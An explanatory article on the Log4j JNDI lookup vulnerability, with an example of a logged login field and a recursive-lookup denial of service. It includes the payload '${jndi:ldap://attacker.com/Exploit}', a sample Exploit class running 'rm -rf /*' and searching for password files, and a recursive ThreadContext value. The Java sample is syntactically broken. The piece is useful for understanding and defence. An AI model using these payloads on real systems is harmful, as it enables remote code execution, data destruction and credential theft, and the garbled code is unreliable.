Log4j 0-Day Vulnerability: All You Need To Know
During end of the year when lot of us were planning for vacations, vulnerability first came to light on December 9 and was highlighted by Alibaba Cloud Security team’s. And received and Common Vulnerability Scoring System (CVSS) rating of 10/10, which is used to assess the severity of a vulnerability so that security defenders can decide how to prioritize their response activities
There’s a lot of impact on number of packages that have been dependent on log4j, companies are still working on identifying and migrating their source code to latest version of log4j.
One of the major focus was to ensure that user information is secured and patching all of our services and address all the dependencies and analyse all the dependency graphs and move away from log4j2 vulnerable versions.
While the vulnerability is mostly in log4j2 where-in the feature of look up have been introduced which allows us to add configurations to look up and log them during execution. There are multiple look up features(See here), one that we are concerned is JNDI look up.
This feature enables certain special strings to be replaced, at the time of logging, by other dynamically-generated strings, like
${java:runtime}
---Running Java version 1.7.0_67
${docker:containerId}
${env:USER}
The most common substitution string that takes advantage of this issue will look similar to:
${jndi:ldap://somedomain.com}
Log4j JNDI look up
JNDI knows as Java Naming and Directory Interface (JNDI) is a Java API that allows clients to discover and look up data and objects via a name. These objects can be stored and accessed from -
- RMI (Remote Method Invocation)
- Common Object Request Broker Architecture (CORBA)
- Lightweight Directory Access Protocol (LDAP)
- Domain Name Service (DNS)
How does log4j enable RCE(remote code execution)?
When the name of the requested object is controlled by an attacker, it is possible to point a victim Java application to a malicious ldap server and response with an arbitrary object.
Lets consider a simple example on how system could become vulnerable, we will use simple login example. Simple login page accepts username and password and then routes this request to one of the backend servers for processing.
final Logger logger = LogManager.getLogger(log4j.class);
logger.error("processing request... username = [{}]", user);
Case1 — When user enters user name and password and our beautiful logger tries to log username in the log line.

21:47:20.167 [main] ERROR log4j - processing request... username = [user123]
Case 2: When attacker tries to perform remote code execution by exploiting the insecure JNDI lookups feature.

Attacker tries to access the system, but instead of typing user name, attacker send JNDI URL knowing that it will log the user information in backend.
${jndi:ldap://attacker.com/Exploit}
Now when the logger logs this information, log4j identifies that it has to do an lookup, and resolves the tcp and then it allows vulnerable server connect to attacker controlled address.
In this case the attacker with intent to gain access to system, he sets up his LDAP with JNDI lookup, JNDI client tries to resolve the “classFactory” and “classFactoryLocation” attributes of this object. Java fetches the factory’s bytecode from the “classFactoryLocation” location by using Java’s URLClassLoader.
JNDI is a simple Java API that takes just one string parameter, and if this parameter comes from an untrusted source, it could lead to remote code execution via remote class loading.
Now during resolution attacker will load his bytecode which can perform remote execution on victim system. See below sample code which get executed. This allows the attacker to gain sensitive information of system and/or he can bring down system to halt.
class Exploit {
static {
String[] cmdline1 = {"rm -rf /*"};
String[] cmdline2 = "find / -type f-name " password.txt ";
Runtime.getRuntime().exec(cmdline1)
}
}
Since “Exploit” is unknown to the target server, its bytecode will be loaded and executed from “http://attacker.com/Exploit.class", triggering an RCE.
Types of attacks:
When attacker gain control over system, some of possibilities are:
- Gain sensitive information like Env variables like secret keys or database passwords.
- Remote execute code to get the system to halt.
- File match with file name patterns (like passwords.txt) which contain sensitive information like passwords or personal details.
- DOS (Denial of service) — by infinite recursive look up, due to which server runs out of memory and process dies, which causes StackOverflowError and it can lead to denial of service and downtime. (Reference here : https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45105)
As called out here in https://logging.apache.org/log4j/2.x/ can lead to DOS when the application has lookup enabled in the pattern layout which allows the loggers to replace values from ContextMap while logging.
<PatternLayout pattern="[%-5level] ${ctx:user} - %msg%n" />
When the ThreadContextMap is attacker controlled and if he attacker can replace value in the Map with his formatted sting which triggers recursive lookup in the map to replace the characters.
ThreadContext.put("user", "${ctx:user1:-${ctx:user}}");Exception in thread "main" java.lang.StackOverflowError
at java.lang.StringBuilder.getChars(StringBuilder.java:76)
at org.apache.logging.log4j.core.lookup.StrSubstitutor.getChars(StrSubstitutor.java:1401)
at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:939)
at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:912)
at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:978)